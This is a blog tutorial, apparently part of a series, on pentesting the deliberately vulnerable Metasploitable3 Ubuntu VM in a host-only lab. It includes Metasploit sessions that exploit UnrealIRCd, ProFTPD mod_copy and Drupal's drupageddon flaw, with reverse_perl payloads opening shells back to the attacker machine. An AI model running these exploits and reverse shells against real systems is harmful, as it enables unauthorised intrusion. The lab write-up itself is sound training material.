This post is part of a series on the Ubuntu Linux version of Metasploitable3. The following posts are part of the series:
- Part 1: Building the Ubuntu Linux Version
- Part 2: Customizing the Ubuntu Linux Version
- Part 3: Pentesting the Ubuntu Linux Version - SQL Injection
- Part 4: Pentesting the Ubuntu Linux Version - Attacking Services (You are here!)
- Configuring the Metasploit Framework
- Port 6697: UnrealIRCd
- Port 21: ProFTPD version 1.3.5
- Port 80: Drupal
My previous three posts of Metasploitable3 covered Building Metasploitable3, Customizing Metasploitable3 and Pentesting Metasploitable3 using SQL Injection. This post continues with the series that is specifically targeted to the Ubuntu Linux version of Metasploitable3. In this post, we continue with the pentest of Metasploitable3 this time attacking vulnerable services using the Metasploit Framework.
If you have not followed my Metasploitable3 Ubuntu Linux version series - here is a summary of the network configuration. In my tutorial Metasploitable3 has a Host-Only network configuration with the IP address of:
192.168.19.20. While, Kali Linux (version 2018.2) is used as the attack system, again, with Host-Only network configuration with the IP address of:
Configuring the Metasploit Framework
If you have not followed my Metasploitable3 Ubuntu Linux version series - start by performing a port scan of the Metasploitable3 system.
This is a basic go-to
nmap port scan which queries all available ports (
-p 1-65535), includes service version detection (
-sV) and saves the results to an XML file type with the name
metasploitable3.xml. The purpose of saving the
nmap port scan is to import these results into the Metasploit Framework. To achieve this, we need to create a database. Initialize the Metasploit Framework database using the following command:
If you receive an error, you might need to start the PostgreSQL database using the following command:
Now we can start the Metasploit Framework Console, otherwise known as msfconsole and started with the command
Best practice dictates that we load in the
nmap port scan using the
db_import command and passing the file name of the
nmap port scan. This tutorial expects that you started the Metasploit Framework in the same directory as the port scan file. If not, you can use an absolute path to indicate the location of the port scan file.
services commands to check if the database is loaded and functioning correctly:
With these configurations set, we are ready to start exploiting vulnerabilities. Well, first finding the vulnerabilities… then exploiting them! The following sections discuss a pentest which is formatted into sections based on the port number of the service running on Metasploitable3.
Port 6697: UnrealIRCd
I have previously encountered UnrealIRCd in Metasploitable2. Searching the Metasploit Framework database (using
search unrealircd) only yielded one search hit. This was the same vulnerability and associated exploit used in Metasploitable2. The same of the exploit is:
I could not determine the specific version on Metasploitable3, but decided to give the exploit a whirl:
I am not a pentester by trade, or is it something that I do very often… but I thought this was a little simple! I am guessing that the single available exploit for UnrealIRCd made this a little too easy. Anyway, after running the exploit, remote access was gained:
whoami command indicated that I had gained remote access using the
boba_fett account. I felt like a bounty hunter! I thought it was interesting that I couldn’t traverse the file system using this exploit, rather I was stuck in the
/opt/unrealircd/Unreal3.2 directory, but could navigate the file system by listing directories seeing what was around. I though it strange that after listing the
/home folder, and the user who was in the group names users had read and execute permission on all home directories.
root access was not possible as this exploit gained access using the
boba_fett account, who was not in the
sudo group (as indicated by the
groups command). However,
boba_fett was part of the
docker group… interesting! Moving on!
Port 21: ProFTPD version 1.3.5
Looking back over the output from the
services command in the
msfconsole, the next prospect I choose was the FTP server running port 21.
192.168.19.20 21 tcp ftp open ProFTPD 1.3.5
msfconsole search yeilded the following results:
exploit/freebsd/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD) exploit/linux/ftp/proftp_sreplace 2006-11-26 great ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux) exploit/linux/ftp/proftp_telnet_iac 2010-11-01 great ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux) exploit/linux/misc/netsupport_manager_agent 2011-01-08 average NetSupport Manager Agent Remote Buffer Overflow exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent ProFTPD-1.3.3c Backdoor Command Execution exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent ProFTPD 1.3.5 Mod_Copy Command Execution
I mucked around with a few of the exploits listed but did not get very far. All the exploits were at, or below, the version of ProFTPD on Metasploitable3 (version 1.3.5). I tried the last on the list,
msf > use exploit/unix/ftp/proftpd_modcopy_exec msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 192.168.19.20 rhost => 192.168.19.20 msf exploit(unix/ftp/proftpd_modcopy_exec) > set sitepath /var/www/html sitepath => /var/www/html msf exploit(unix/ftp/proftpd_modcopy_exec) > set exploit cmd/unix/reverse_perl exploit => cmd/unix/reverse_perl msf exploit(unix/ftp/proftpd_modcopy_exec) > run [*] Started reverse TCP handler on 192.168.19.10:4444 [*] 192.168.19.20:80 - 192.168.19.20:21 - Connected to FTP server [*] 192.168.19.20:80 - 192.168.19.20:21 - Sending copy commands to FTP server [*] 192.168.19.20:80 - Executing PHP payload /jjIRB1.php [*] Command shell session 4 opened (192.168.19.10:4444 -> 192.168.19.20:47618) at 2018-07-07 23:21:25 -0400
This exploit gained remote access as the
www-data user. This was not very useful, as the UnrealIRCd exploit gained a higher level of access. Moving on!
Port 80: Drupal
In my previous post (Pentesting Metasploitable3 using SQL Injection), I investigated the Apache web server running on port 80. In the directory listing provided by the web server was a Drupal install.
I found the presence of Drupal to be interesting. This was a technology that I had barely used and was interested to investigate further. A quick exploit search in the Metasploit Framework revealed a few exploits available to target Drupal. Additionally, the
searchsploit listed even more, usually with a specific version that was vulnerable.
auxiliary/gather/drupal_openid_xxe 2012-10-17 normal Drupal OpenID External Entity Injection auxiliary/scanner/http/drupal_views_user_enum 2010-07-02 normal Drupal Views Module Users Enumeration exploit/multi/http/drupal_drupageddon 2014-10-15 excellent Drupal HTTP Parameter Key/Value SQL Injection exploit/unix/webapp/drupal_coder_exec 2016-07-13 excellent Drupal CODER Module Remote Command Execution exploit/unix/webapp/drupal_restws_exec 2016-07-13 excellent Drupal RESTWS Module Remote PHP Code Execution exploit/unix/webapp/php_xmlrpc_eval 2005-06-29 excellent PHP XML-RPC Arbitrary Code Execution
I started by having a look over the source code for the Drupal website. I noticed some information about the website structure and different subdirectories that all originated from the Drupal folder in the
I wanted to know the specific Drupal version that was running on the Metasploitable3 server. After a few Google searches and some skim-reading. I discovered a file named
blog.info in the
drupal/modules/blog directory that stored version information.
Opening the file revealed the installed version of Drupal was 7.5.
From here, I investigated some exploits and started testing them out against Metasploitable3.
I was specifically selecting any exploits for version 7.5 but was having no luck. In the end, I discovered the
drupal_drupageddon exploit which was successful against the Drupal install on Metasploitable3.
msf > use exploit/multi/http/drupal_drupageddon msf exploit(multi/http/drupal_drupageddon) > set rhost 192.168.19.20 rhost => 192.168.19.20 msf exploit(multi/http/drupal_drupageddon) > set targeturi /drupal/ targeturi => /drupal/ msf exploit(multi/http/drupal_drupageddon) > set payload php/reverse_perl payload => php/reverse_perl msf exploit(multi/http/drupal_drupageddon) > exploit [*] Started reverse TCP handler on 192.168.19.10:4444 [*] Command shell session 6 opened (192.168.19.10:4444 -> 192.168.19.20:47667) at 2018-07-08 00:06:22 -0400
targeturi was set to
/drupal/ instead of root (
/) as the drupal install was in the
drupal directory on the Apache web server. After the exploit ran I was, again, unsuccessful! The
whoami command revealed I was… the
www-data user. What was very interesting was that the
Vulnerability & Exploit Database stated the exploit only worked against Drupal 7.0 and 7.31 (was fixed in 7.32). The server apparently had version 7.5 and was still vulnerable. Anyway, no higher level of access was gained.
While writing the post and investigating the Metasploitable3 Ubuntu Linux build I came across some very interesting articles written by participants of the Rapid7 Capture the Flag (CTF) competition. I have listed the articles below for reference:
- Metasploitable3 CTF Write-up by 16667
- Metasploitable3 Community CTF – Walkthrough(ish) by DarkGlade
- Metasploitable3 CTF by Trevor Steen
Hopefully, this tutorial gave you some ideas and knowledge about vulnerabilities and exploits concerned with the Metasploitable3 Ubuntu Linux version. This post took a long time to test and document. I just couldn’t get enough of trying different exploit methods and wanted a thorough and well-documented post to share. Hope you enjoyed it, and please leave a comment if you have any information to share! I think there is one more post to come in this series, to finish off testing service exploits, and maybe a little on privilege escalation.